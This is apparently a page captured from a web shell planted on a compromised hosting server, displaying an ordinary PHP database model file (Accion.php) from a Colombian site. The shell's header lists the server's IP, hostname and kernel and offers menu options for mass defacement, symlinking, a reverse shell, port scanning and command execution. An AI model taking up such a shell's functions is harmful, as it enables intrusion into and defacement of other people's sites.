Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html
/
cynea2
/
models
/
Viewing: Accion.php
<?php class Accion { private $db; public function __construct($db) { $this->db = $db; } public function getAccionesByProyecto($proyecto_id) { $sql = "SELECT a.*, CASE WHEN a.responsable_tipo = 'user' THEN u.nombre ELSE c.nombre END as responsable_nombre FROM acciones a LEFT JOIN users u ON a.responsable_tipo = 'user' AND a.responsable_id = u.id LEFT JOIN clientes c ON a.responsable_tipo = 'client' AND a.responsable_id = c.id WHERE a.proyecto_id = ? ORDER BY a.inicio DESC"; $stmt = $this->db->prepare($sql); $stmt->execute([$proyecto_id]); $acciones = $stmt->fetchAll(PDO::FETCH_ASSOC); // Obtener nombres de participantes para cada acción foreach ($acciones as &$accion) { $sqlP = "SELECT ap.participante_tipo, ap.participante_id, CASE WHEN ap.participante_tipo = 'user' THEN u.nombre ELSE c.nombre END as nombre FROM accion_participantes ap LEFT JOIN users u ON ap.participante_tipo = 'user' AND ap.participante_id = u.id LEFT JOIN clientes c ON ap.participante_tipo = 'client' AND ap.participante_id = c.id WHERE ap.accion_id = ?"; $stmtP = $this->db->prepare($sqlP); $stmtP->execute([$accion['id']]); $participantes = $stmtP->fetchAll(PDO::FETCH_ASSOC); $accion['participantes_nombres'] = array_map(function($p) { return $p['nombre']; }, $participantes); } return $acciones; } public function getAccion($id) { $sql = "SELECT a.*, CASE WHEN a.responsable_tipo = 'user' THEN u.nombre ELSE c.nombre END as responsable_nombre FROM acciones a LEFT JOIN users u ON a.responsable_tipo = 'user' AND a.responsable_id = u.id LEFT JOIN clientes c ON a.responsable_tipo = 'client' AND a.responsable_id = c.id WHERE a.id = ?"; $stmt = $this->db->prepare($sql); $stmt->execute([$id]); $accion = $stmt->fetch(PDO::FETCH_ASSOC); if ($accion) { // Obtener participantes $sql = "SELECT participante_tipo, participante_id FROM accion_participantes WHERE accion_id = ?"; $stmt = $this->db->prepare($sql); $stmt->execute([$id]); $participantes = $stmt->fetchAll(PDO::FETCH_ASSOC); $accion['participantes'] = array_map(function($p) { return $p['participante_tipo'] . '_' . $p['participante_id']; }, $participantes); } return $accion; } public function saveAccion($data) { $this->db->beginTransaction(); try { if (empty($data['id'])) { $sql = "INSERT INTO acciones (accion, inicio, fin, status, responsable_tipo, responsable_id, proyecto_id, producto_id, cantidad) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)"; $stmt = $this->db->prepare($sql); $stmt->execute([ $data['accion'], $data['inicio'], $data['fin'], $data['status'], $data['responsable_tipo'], $data['responsable_id'], $data['proyecto_id'], $data['producto_id'] ?? null, $data['cantidad'] ?? null ]); $accion_id = $this->db->lastInsertId(); } else { $sql = "UPDATE acciones SET accion = ?, inicio = ?, fin = ?, status = ?, responsable_tipo = ?, responsable_id = ?, producto_id = ?, cantidad = ? WHERE id = ?"; $stmt = $this->db->prepare($sql); $stmt->execute([ $data['accion'], $data['inicio'], $data['fin'], $data['status'], $data['responsable_tipo'], $data['responsable_id'], $data['producto_id'] ?? null, $data['cantidad'] ?? null, $data['id'] ]); $accion_id = $data['id']; // Eliminar participantes anteriores $sql = "DELETE FROM accion_participantes WHERE accion_id = ?"; $stmt = $this->db->prepare($sql); $stmt->execute([$accion_id]); } // Guardar participantes if (!empty($data['participantes'])) { $sql = "INSERT INTO accion_participantes (accion_id, participante_tipo, participante_id) VALUES (?, ?, ?)"; $stmt = $this->db->prepare($sql); foreach ($data['participantes'] as $participante) { list($tipo, $id) = explode('_', $participante); $stmt->execute([$accion_id, $tipo, $id]); } } $this->db->commit(); return true; } catch (Exception $e) { $this->db->rollBack(); throw $e; } } public function deleteAccion($id) { $sql = "DELETE FROM acciones WHERE id = ?"; $stmt = $this->db->prepare($sql); return $stmt->execute([$id]); } public function updateStatus($id, $status) { $stmt = $this->db->prepare("UPDATE acciones SET status = ? WHERE id = ?"); return $stmt->execute([$status, $id]); } }
Coded With 💗 by
0x6ick